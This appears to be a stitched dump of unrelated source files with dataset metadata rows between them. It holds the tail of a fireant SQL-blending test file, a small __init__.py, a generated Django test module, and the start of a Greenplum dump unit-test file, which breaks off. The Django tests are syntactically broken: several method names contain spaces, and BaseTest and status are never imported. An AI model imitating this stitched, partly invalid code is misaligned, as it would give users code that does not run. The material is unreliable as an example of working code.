Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp, blend_ds.fields.account)
.widget(ReactTable(blend_ds.fields.metric1))
.reference(f.DayOverDay(blend_ds.fields.timestamp))
.orderby(blend_ds.fields.metric0)
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1" "$metric1",'
'"sq0"."$metric0" "$metric0" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"account" "$account",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$metric0"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$account" "$account",'
'"sq1"."$metric1_dod" "$metric1_dod",'
'"sq0"."$metric0_dod" "$metric0_dod" '
"FROM ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"account" "$account",'
'"metric" "$metric0_dod" '
'FROM "test0" '
'GROUP BY "$timestamp","$account"'
') "sq0" '
"LEFT JOIN ("
'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",'
'"metric" "$metric1_dod" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$metric0_dod"',
str(query_2),
)
def test_blending_with_omit_from_rollup_filter_of_blended_field(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(
f.Widget(
f.Share(blend_ds.fields.metric0, over=blend_ds.fields.timestamp)
)
)
.filter(f.OmitFromRollup(blend_ds.fields.account.between(10, 20)))
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0" "$metric0" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric0" '
'FROM "test0" '
'WHERE "account" BETWEEN 10 AND 20 '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0" "$metric0" '
"FROM ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\","
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" "
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_2),
)
def test_blending_with_share_operation_on_primary_metric(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(
f.Widget(
f.Share(blend_ds.fields.metric0, over=blend_ds.fields.timestamp)
)
)
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0" "$metric0" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0" "$metric0" '
"FROM ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\","
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" "
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_2),
)
def test_blending_with_share_operation_on_secondary_metric(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t0.account,
data_type=DataType.number,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"account",
label="Account",
definition=t1.account,
data_type=DataType.number,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = primary_ds.blend(secondary_ds).on(
{primary_ds.fields.timestamp: secondary_ds.fields.timestamp}
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(
f.Widget(
f.Share(blend_ds.fields.metric1, over=blend_ds.fields.timestamp)
)
)
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq1"."$metric1" "$metric1" '
"FROM ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" "
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\","
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_2),
)
def test_share_on_blended_metric(self):
db = TestDatabase()
t0, t1 = Tables("test0", "test1")
primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
blend_ds = (
primary_ds.blend(secondary_ds)
.on({primary_ds.fields.timestamp: secondary_ds.fields.timestamp})
.extra_fields(
Field(
"sum",
label="sum of two metrics in different datasets",
definition=(
primary_ds.fields["metric0"] + secondary_ds.fields["metric1"]
),
data_type=DataType.number,
)
)
)
sql = (
blend_ds.query()
.dimension(blend_ds.fields.timestamp)
.widget(
f.Widget(f.Share(blend_ds.fields.sum, over=blend_ds.fields.timestamp))
)
).sql
(query_1, query_2) = sql
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0"+"sq1"."$metric1" "$sum" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_1),
)
self.assertEqual(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0"+"sq1"."$metric1" "$sum" '
"FROM ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\","
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0" '
"LEFT JOIN ("
"SELECT "
"'_FIREANT_ROLLUP_VALUE_' \"$timestamp\","
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"',
str(query_2),
)
class MultipleDatasetsBlendedEdgeCaseTests(TestCase):
@classmethod
def setUpClass(cls):
db = Database()
t0, t1, t2 = Tables("test0", "test1", "test2")
cls.primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
cls.primary_ds.id = 0
cls.secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
cls.secondary_ds.id = 1
cls.tertiary_ds = DataSet(
table=t2,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t2.timestamp,
data_type=DataType.date,
),
Field(
"metric2",
label="Metric2",
definition=t2.metric,
data_type=DataType.number,
),
],
)
cls.tertiary_ds.id = 2
cls.blend_ds = (
cls.primary_ds.blend(cls.secondary_ds)
.on_dimensions()
.blend(cls.tertiary_ds)
.on_dimensions()
)
def test_selecting_just_one_metric_in_non_primary_dataset(self):
blender = self.blend_ds.extra_fields(
Field(
"only_metric2",
label="Metric Two",
definition=self.tertiary_ds.fields.metric2,
data_type=DataType.number,
)
)
(query,) = blender.query().widget(ReactTable(blender.fields.only_metric2)).sql
self.assertEqual(
'SELECT "sq0"."$metric2" "$only_metric2" FROM (SELECT "metric" "$metric2" FROM "test2") "sq0"',
str(query),
)
class DataSetBlenderMultipleDatasetsTests(TestCase):
@classmethod
def setUpClass(cls):
db = Database()
t0, t1, t2, t3 = Tables("test0", "test1", "test2", "test3")
cls.primary_ds = DataSet(
table=t0,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t0.timestamp,
data_type=DataType.date,
),
Field(
"metric0",
label="Metric0",
definition=t0.metric,
data_type=DataType.number,
),
],
)
cls.primary_ds.id = 0
cls.secondary_ds = DataSet(
table=t1,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t1.timestamp,
data_type=DataType.date,
),
Field(
"metric1",
label="Metric1",
definition=t1.metric,
data_type=DataType.number,
),
],
)
cls.secondary_ds.id = 1
cls.tertiary_ds = DataSet(
table=t2,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t2.timestamp,
data_type=DataType.date,
),
Field(
"metric2",
label="Metric2",
definition=t2.metric,
data_type=DataType.number,
),
],
)
cls.tertiary_ds.id = 2
cls.quaternary_ds = DataSet(
table=t3,
database=db,
fields=[
Field(
"timestamp",
label="Timestamp",
definition=t3.timestamp,
data_type=DataType.date,
),
Field(
"metric3",
label="Metric3",
definition=t3.metric,
data_type=DataType.number,
),
],
)
cls.quaternary_ds.id = 3
cls.blend_ds = (
cls.primary_ds.blend(cls.secondary_ds)
.on_dimensions()
.blend(cls.tertiary_ds)
.on_dimensions()
.blend(cls.quaternary_ds)
.on_dimensions()
)
def _do_test(self, blender):
self.maxDiff = None
(query,) = (
blender.query()
.dimension(blender.fields.timestamp)
.widget(ReactTable(blender.fields.metric_share))
).sql
self.assertEqual(
(
"SELECT "
'"sq0"."$timestamp" "$timestamp",'
'"sq0"."$metric0"/"sq1"."$metric1"/"sq2"."$metric2"/"sq3"."$metric3" "$metric_share" '
"FROM ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric0" '
'FROM "test0" '
'GROUP BY "$timestamp"'
') "sq0",'
'(SELECT "metric" "$metric2" FROM "test2") "sq2",'
'(SELECT "metric" "$metric3" FROM "test3") "sq3" '
"LEFT JOIN ("
"SELECT "
'"timestamp" "$timestamp",'
'"metric" "$metric1" '
'FROM "test1" '
'GROUP BY "$timestamp"'
') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" '
'ORDER BY "$timestamp"'
),
str(query),
)
def test_dataset_blender_fourway_flattens_on_join_criteria_to_build_on_primary_dataset(
self,
):
self._do_test(
self.blend_ds.extra_fields(
Field(
"metric_share",
label="Metric Share",
definition=self.primary_ds.fields.metric0
/ self.secondary_ds.fields.metric1
/ self.tertiary_ds.fields.metric2
/ self.quaternary_ds.fields.metric3,
data_type=DataType.number,
)
)
)
def test_dataset_using_fields_refering_top_blender_maps_to_correct_field(self):
self._do_test(
self.blend_ds.extra_fields(
Field(
"metric_share",
label="Metric Share",
definition=self.blend_ds.fields.metric0
/ self.blend_ds.fields.metric1
/ self.blend_ds.fields.metric2
/ self.blend_ds.fields.metric3,
data_type=DataType.number,
)
)
)
| 31.375
| 107
| 0.409678
| 3,035
| 41,164
| 5.404283
| 0.049423
| 0.036581
| 0.073162
| 0.065724
| 0.880685
| 0.871479
| 0.856237
| 0.843129
| 0.833862
| 0.829594
| 0
| 0.024942
| 0.469172
| 41,164
| 1,311
| 108
| 31.398932
| 0.725688
| 0
| 0
| 0.857257
| 0
| 0.000797
| 0.205932
| 0.030026
| 0
| 0
| 0
| 0
| 0.015949
| 1
| 0.013557
| false
| 0
| 0.003987
| 0
| 0.020734
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9fa540d4375e649f42a935f0475414ba40ef444e
| 239
|
py
|
Python
|
virtualMachine/__init__.py
|
olefran/Pound
|
737a245602df600a6de8df9b749cddf17f4127f6
|
[
"MIT"
] | 1
|
2020-04-21T09:30:17.000Z
|
2020-04-21T09:30:17.000Z
|
virtualMachine/__init__.py
|
olefran/Patitoplusplus
|
737a245602df600a6de8df9b749cddf17f4127f6
|
[
"MIT"
] | null | null | null |
virtualMachine/__init__.py
|
olefran/Patitoplusplus
|
737a245602df600a6de8df9b749cddf17f4127f6
|
[
"MIT"
] | null | null | null |
from .structures import *
from .virtualMachine import main
# ========================================================================== #
# init VirtualMachine
# ========================================================================== #
| 39.833333
| 78
| 0.276151
| 9
| 239
| 7.333333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.07113
| 239
| 5
| 79
| 47.8
| 0.297297
| 0.711297
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
9fbb3f1fdb890b70b18e4d82358fbd801faf7b72
| 9,240
|
py
|
Python
|
generated/domain/tests.py
|
oreon/rtbp
|
c35f1a712bdc36c725e68a98b21105654c5f5fdc
|
[
"MIT"
] | 1
|
2017-12-12T17:28:16.000Z
|
2017-12-12T17:28:16.000Z
|
generated/domain/tests.py
|
oreon/rtbp
|
c35f1a712bdc36c725e68a98b21105654c5f5fdc
|
[
"MIT"
] | null | null | null |
generated/domain/tests.py
|
oreon/rtbp
|
c35f1a712bdc36c725e68a98b21105654c5f5fdc
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from . import models
from restbase.commons import CustomModelAdminMixin
class AppUserTests(BaseTest):
url = 'appUser'
fixtures = [' AppUsers.json','patients.json']
def test_createAppUserByNotAllowed AppUser(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createAppUser(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class AppRoleTests(BaseTest):
url = 'appRole'
fixtures = [' AppRoles.json','patients.json']
def test_createAppRoleByNotAllowed AppRole(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createAppRole(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class GroupTests(BaseTest):
url = 'group'
fixtures = [' Groups.json','patients.json']
def test_createGroupByNotAllowed Group(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createGroup(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class ProductTests(BaseTest):
url = 'product'
fixtures = [' Products.json','patients.json']
def test_createProductByNotAllowed Product(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createProduct(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class CategoryTests(BaseTest):
url = 'category'
fixtures = [' Categorys.json','patients.json']
def test_createCategoryByNotAllowed Category(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createCategory(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class CustomerTests(BaseTest):
url = 'customer'
fixtures = [' Customers.json','patients.json']
def test_createCustomerByNotAllowed Customer(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createCustomer(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class CustomerOrderTests(BaseTest):
url = 'customerOrder'
fixtures = [' CustomerOrders.json','patients.json']
def test_createCustomerOrderByNotAllowed CustomerOrder(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createCustomerOrder(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class OrderItemTests(BaseTest):
url = 'orderItem'
fixtures = [' OrderItems.json','patients.json']
def test_createOrderItemByNotAllowed OrderItem(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createOrderItem(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class EmployeeTests(BaseTest):
url = 'employee'
fixtures = [' Employees.json','patients.json']
def test_createEmployeeByNotAllowed Employee(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createEmployee(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
class CustomerReviewTests(BaseTest):
url = 'customerReview'
fixtures = [' CustomerReviews.json','patients.json']
def test_createCustomerReviewByNotAllowed CustomerReview(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
''' access should be denied'''
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_createCustomerReview(self):
self.login('alicia-rn')
response = self.read_one_record(suffix='writable')
data = response.data
data['id'] = None
response = self.client.post(self.url,data)
print(response.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
| 35.538462
| 75
| 0.602381
| 963
| 9,240
| 5.655244
| 0.09865
| 0.088138
| 0.047741
| 0.069776
| 0.797833
| 0.7556
| 0.7556
| 0.7556
| 0.7556
| 0.7556
| 0
| 0.009134
| 0.289069
| 9,240
| 260
| 76
| 35.538462
| 0.819912
| 0
| 0
| 0.725389
| 0
| 0
| 0.086626
| 0
| 0
| 0
| 0
| 0
| 0.103627
| 0
| null | null | 0
| 0.015544
| null | null | 0.103627
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4ce0d144fd57d0744e77aab899e24cb13679a759
| 155,112
|
py
|
Python
|
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
|
Tanzu-Solutions-Engineering/gpdb
|
bfc409a97c190cd21997d63cf5c5082208cd6853
|
[
"PostgreSQL",
"Apache-2.0"
] | 2
|
2016-07-08T10:15:24.000Z
|
2017-12-31T03:44:50.000Z
|
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
|
Tanzu-Solutions-Engineering/gpdb
|
bfc409a97c190cd21997d63cf5c5082208cd6853
|
[
"PostgreSQL",
"Apache-2.0"
] | null | null | null |
gpMgmt/bin/gppylib/operations/test/unit/test_unit_dump.py
|
Tanzu-Solutions-Engineering/gpdb
|
bfc409a97c190cd21997d63cf5c5082208cd6853
|
[
"PostgreSQL",
"Apache-2.0"
] | 2
|
2015-11-08T15:35:58.000Z
|
2016-11-14T14:44:30.000Z
|
#!/usr/bin/env python
#
# Copyright (c) Greenplum Inc 2012. All Rights Reserved.
#
import os
import shutil
import time
import unittest2 as unittest
from datetime import datetime
from gppylib.commands.base import CommandResult
from gppylib.operations.backup_utils import write_lines_to_file
from gppylib.operations.dump import DumpDatabase, DumpGlobal, compare_dict, create_partition_dict, \
get_dirty_heap_tables, get_filename_from_filetype,\
get_partition_list, get_partition_state, get_last_dump_timestamp, get_lines_from_file,\
get_last_state, get_last_operation_data, get_dirty_partition_tables,\
write_dirty_file, write_partition_list_file, write_dirty_file_to_temp, write_state_file,\
get_pgstatlastoperations_dict, get_tables_with_dirty_metadata, compare_metadata,\
CreateIncrementsFile, PostDumpDatabase, get_dirty_tables, validate_current_timestamp, MailEvent,\
validate_modcount, generate_dump_timestamp, get_filter_file, filter_dirty_tables, get_backup_dir, \
update_filter_file, backup_state_files_with_nbu, backup_cdatabase_file_with_nbu, backup_report_file_with_nbu, \
backup_global_file_with_nbu, backup_config_files_with_nbu, backup_report_file_with_ddboost, \
backup_increments_file_with_ddboost, copy_file_to_dd, backup_dirty_file_with_nbu, backup_increments_file_with_nbu, \
backup_partition_list_file_with_nbu, get_include_schema_list_from_exclude_schema, backup_schema_file_with_ddboost, \
update_filter_file_with_dirty_list, TIMESTAMP, TIMESTAMP_KEY, DUMP_DATE
from mock import patch, MagicMock, Mock
class DumpTestCase(unittest.TestCase):
def setUp(self):
self.dumper = DumpDatabase(dump_database='testdb',
dump_schema='testschema',
include_dump_tables=[],
exclude_dump_tables=[],
include_dump_tables_file='/tmp/table_list.txt',
exclude_dump_tables_file=None,
backup_dir='/data/master/p1',
free_space_percent=None,
compress=True,
clear_catalog_dumps=False,
encoding=None,
output_options=[],
batch_default=None,
master_datadir='/data/master/p1',
master_port=0,
dump_dir='db_dumps',
dump_prefix='',
include_schema_file=None,
ddboost=False,
netbackup_service_host=None,
netbackup_policy=None,
netbackup_schedule=None,
netbackup_block_size=None,
netbackup_keyword=None,
incremental=False)
def create_backup_dirs(self, top_dir=os.getcwd(), dump_dirs=[]):
if dump_dirs is None:
return
for dump_dir in dump_dirs:
backup_dir = os.path.join(top_dir, 'db_dumps', dump_dir)
if not os.path.isdir(backup_dir):
os.makedirs(backup_dir)
if not os.path.isdir(backup_dir):
raise Exception('Failed to create directory %s' % backup_dir)
def remove_backup_dirs(self, top_dir=os.getcwd(), dump_dirs=[]):
if dump_dirs is None:
return
for dump_dir in dump_dirs:
backup_dir = os.path.join(top_dir, 'db_dumps', dump_dir)
shutil.rmtree(backup_dir)
if os.path.isdir(backup_dir):
raise Exception('Failed to remove directory %s' % backup_dir)
def test00_create_dump_line_without_incremental(self):
output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234')
expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt"""
self.assertEquals(output, expected_output)
@patch('gppylib.operations.dump.get_heap_partition_list', return_value=[['123', 'public', 't4'], ['123', 'public', 't5'], ['123', 'pepper', 't6']])
def test01_get_dirty_heap_tables(self, mock1):
expected_output = set(['public.t4', 'public.t5', 'pepper.t6'])
dirty_table_list = get_dirty_heap_tables(1234, 'testdb')
self.assertEqual(dirty_table_list, expected_output)
@patch('gppylib.operations.dump.get_heap_partition_list', return_value=[[], ['123', 'public', 't5'], ['123', 'public', 't6']])
def test02_get_dirty_heap_tables(self, mock1):
with self.assertRaisesRegexp(Exception, 'Heap tables query returned rows with unexpected number of columns 0'):
dirty_table_list = get_dirty_heap_tables(1234, 'testdb')
def test02_write_dirty_file(self):
dirty_tables = ['t1', 't2', 't3']
backup_dir = None
timestamp_key = '20121212010101'
self.create_backup_dirs(dump_dirs=['20121212'])
tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
with open(tmpfilename) as tmpfile:
output = tmpfile.readlines()
output = map(lambda x: x.strip(), output)
self.assertEqual(dirty_tables, output)
os.remove(tmpfilename)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test02a_write_dirty_file(self):
dirty_tables = ['t1', 't2', 't3']
timestamp_key = '20121212010101'
backup_dir = '/tmp'
